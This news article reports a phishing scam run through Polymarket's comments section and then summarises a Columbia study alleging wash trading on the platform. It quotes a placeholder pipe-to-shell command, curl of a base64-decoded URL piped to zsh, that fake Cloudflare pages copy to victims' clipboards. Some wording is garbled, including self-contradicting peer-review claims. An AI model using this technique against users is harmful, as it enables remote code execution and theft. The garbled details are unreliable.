Polymarket is back in the headlines, this time after one of the company’s senior traders, nicknamed “25usdc”, warned of plans to use the platform’s comments section to prey on unsuspecting users.
This comes at a critical time for the Polymarket platform as it prepares to re-enter the U.S. market and struggles to stay ahead of rivals like Kalsi.
Screenshot of a typical message from a hacker redirecting Polymarket users to click on a phishing link. Source: @25usdc via X/Twitter.
Polymarket traders on high alert
According to 25usdcHackers have been using Polymarket’s comments section to commit fraud, causing users to lose more than $500,000 so far.
“They say, ‘Why not trade on Polymarket’s private market? The odds are always much better that way!’” 25usdc wrote, explaining how the entire scam works.
According to him, it all starts with buying both Yes and No stocks in the market from two separate accounts. This way, your comments will remain even if the “Owner” filter is enabled. Then, post the URL in an obfuscated format to your site.
This URL directs an unsuspecting user to a clean page with the Polymarket logo and requests the user to log in via email. Once the email is verified, a new window pops up asking the user to verify their activity, mimicking CloudFlare.
However, according to 25usdc, clicking “Copy” will instead copy a command like “curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh” and if the user makes a mistake pasting it into the terminal, the first thing it does is decode the base64-encoded string (the server URL), then fetches the script from that server and runs it immediately.
The script in question can reportedly contain anything and no pop-up warnings will be displayed, at which point the damage has been done and the only remedy may be to turn off the Wi-Fi, according to 25usdc.
“Ultimately, they collect data, log everything on your system, and send a zip back to the server,” 25usdc wrote. “They then use this data to log into your account and steal your money.”
Another thing he noticed was how carefully the group operated. For example, they hide their tracks by frequently switching wallets, obfuscate every step along the way, send payloads when there are no active victims, and even shut down servers that receive logged data.
“We think the best way to deal with this is to either allow trusted users to see comments, or introduce a downvote system that hides posts with a lot of downvotes,” 25usdc concluded, noting that it’s a simple problem. caveat The current Polymarket display is not enough.
PSA: Polymarket’s “private market” website with “better odds” does not exist
Please do not enter your Polymarket email address or login verification code anywhere other than the official website.
— Polymarket Traders (@PolymarketTrade) November 9, 2025
New study claims polymarket volume is supported by wash trading
As reported by Cryptopolitan, a recently published study by researchers at Columbia University claims that the amount of activity in polymarkets is significantly inflated by wash trading.
“Artificial trading,” as the authors called it, varied over time, but accounted for an average of 25% of all buying and selling on Polymarket over the past three years.
The paper has not been peer-reviewed, but has already been published on the open-access research platform SSRN and peer-reviewed by Polymarket.
To be clear, the authors are not entirely accusing polymarkets of wash trading per se. However, they highlight elements of the exchange’s crypto-based structure that make this claim plausible.
They also suggested that the company’s customers may have entered into wash transactions on their own to increase their chances of accessing the unique digital token that the company’s founder, Shayne Coplan, has hinted could be launched on October 8th.
“We hope Polymarket will welcome the analysis of our paper,” Yash Kanoria, a professor at Columbia Business School and one of the paper’s four co-authors, said in an email. “Wash trading adds no liquidity or information to the market, so it seems worthwhile to distinguish between real and fake volume.”
If some of Polymarket’s volume is truly “fictional,” this study argues that it could change our understanding of Polymarket’s relative strength in the industry, and also undermine the current notion that prediction markets reflect the “wisdom of the larger crowd.”
“The potential for large-scale wash trading means that trading volumes may not be reliable as an indicator of genuine platform activity, especially on crypto-based exchanges where appropriate safeguards may not be in place,” the authors concluded.
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